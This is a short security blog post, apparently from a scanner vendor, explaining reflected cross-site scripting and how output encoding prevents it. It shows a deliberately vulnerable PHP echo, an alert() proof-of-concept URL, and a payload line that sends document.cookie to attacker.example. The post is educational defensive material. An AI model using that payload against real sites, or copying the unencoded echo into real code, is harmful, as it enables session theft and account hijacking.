Cross-Site ScriptingReflected

Reflected XSS: How a URL Can Run Code in Someone Else's Browser

Cross-site scripting turns a trusted page into a delivery vehicle for attacker-controlled JavaScript. Here is how reflected XSS works, what it can steal, and how output encoding stops it.

SelfSec Team3 min read
Part 5 of 6from theCross-Site Scriptingseries
<script>alert(document.domain)</script>
On this page

Cross-site scripting (XSS) is what happens when an application lets untrusted input become part of the page's executable content. Instead of changing a database query like SQL injection, XSS changes the HTML and JavaScript the victim's browser runs. The browser trusts the page, so it trusts the injected script too.

This post focuses on reflected XSS — the variant where the malicious input is sent in a request and immediately echoed back in the response.

How it happens

Reflected XSS almost always starts with input that is written into the page without encoding. A search page that greets you with your query is a textbook example:

$term = $_GET['q'];
echo "<p>You searched for: " . $term . "</p>";

For a normal search like firewalls, the output is harmless:

<p>You searched for: firewalls</p>

But the value of q is fully attacker-controlled, and it is being dropped straight into HTML.

A concrete attack

Instead of a search term, an attacker crafts a URL where q contains markup:

https://shop.example/search?q=<script>alert(document.domain)</script>

The server reflects it verbatim, so the response body becomes:

<p>You searched for: <script>alert(document.domain)</script></p>

The browser does not see text — it sees a real <script> tag and executes it. alert() is just the proof of concept. The real payload is quieter and aims at the victim's session:

fetch('https://attacker.example/c?' + document.cookie);

The attacker is not running code on the server. They are running code in the victim's browser, in the security context of a site the victim trusts.

What an attacker gains

Once arbitrary JavaScript runs on the page, it can do anything the user can:

  • Steal session cookies that are not marked HttpOnly, hijacking the account.
  • Read the DOM — tokens, profile data, anything rendered on the page.
  • Forge requests as the victim, including state-changing actions like password or email changes.
  • Rewrite the page to phish credentials inside a genuinely trusted origin.

Reflected XSS is typically delivered through a link in an email, chat message or another site. One click on a legitimate-looking URL is all it takes.

The fix: encode on output, validate on input

The core rule is context-aware output encoding. Encode data for the exact place it lands so the browser always reads it as text, not markup. The same search, encoded for HTML:

$term = $_GET['q'];
echo "<p>You searched for: " . htmlspecialchars($term, ENT_QUOTES, 'UTF-8') . "</p>";

Now the payload renders as inert text — the < becomes &lt; and the browser never sees a tag:

<p>You searched for: &lt;script&gt;alert(document.domain)&lt;/script&gt;</p>

Layer these defences on top:

  • Use a templating engine that auto-escapes by default, and keep the encoding correct for HTML, attribute, JavaScript and URL contexts.
  • Set a Content-Security-Policy that blocks inline scripts, so a single missed sink is far harder to exploit.
  • Mark session cookies HttpOnly and Secure so script cannot read them.

How SelfSec finds it

SelfSec's crawler renders modern, JavaScript-heavy applications with a real browser engine, then probes reflected, stored and DOM-based sinks with context-aware payloads. Because it confirms execution rather than guessing from a string match, findings come with a reproduction request you can replay. As always, the scan runs entirely on your machine and your scan data stays local.

SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.

Do both things about Cross-Site Scripting

SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.

The Cross-Site Scripting series

  1. 01OverviewCross-Site Scripting, Explained: Reflected, Stored and DOM-Based XSS3 min
  2. 02BlindBlind XSS: When Your Payload Fires in an Admin Panel You Never See5 min
  3. 03DOM-BasedDOM-Based XSS: When the Vulnerability Never Touches the Server4 min
  4. 04Mutation (mXSS)Mutation XSS (mXSS): How the Browser's Parser Rewrites Your Sanitized HTML6 min
  5. 05ReflectedReflected XSS: How a URL Can Run Code in Someone Else's BrowserReading
  6. 06StoredStored XSS: One Injection, Every Visitor3 min

Related reading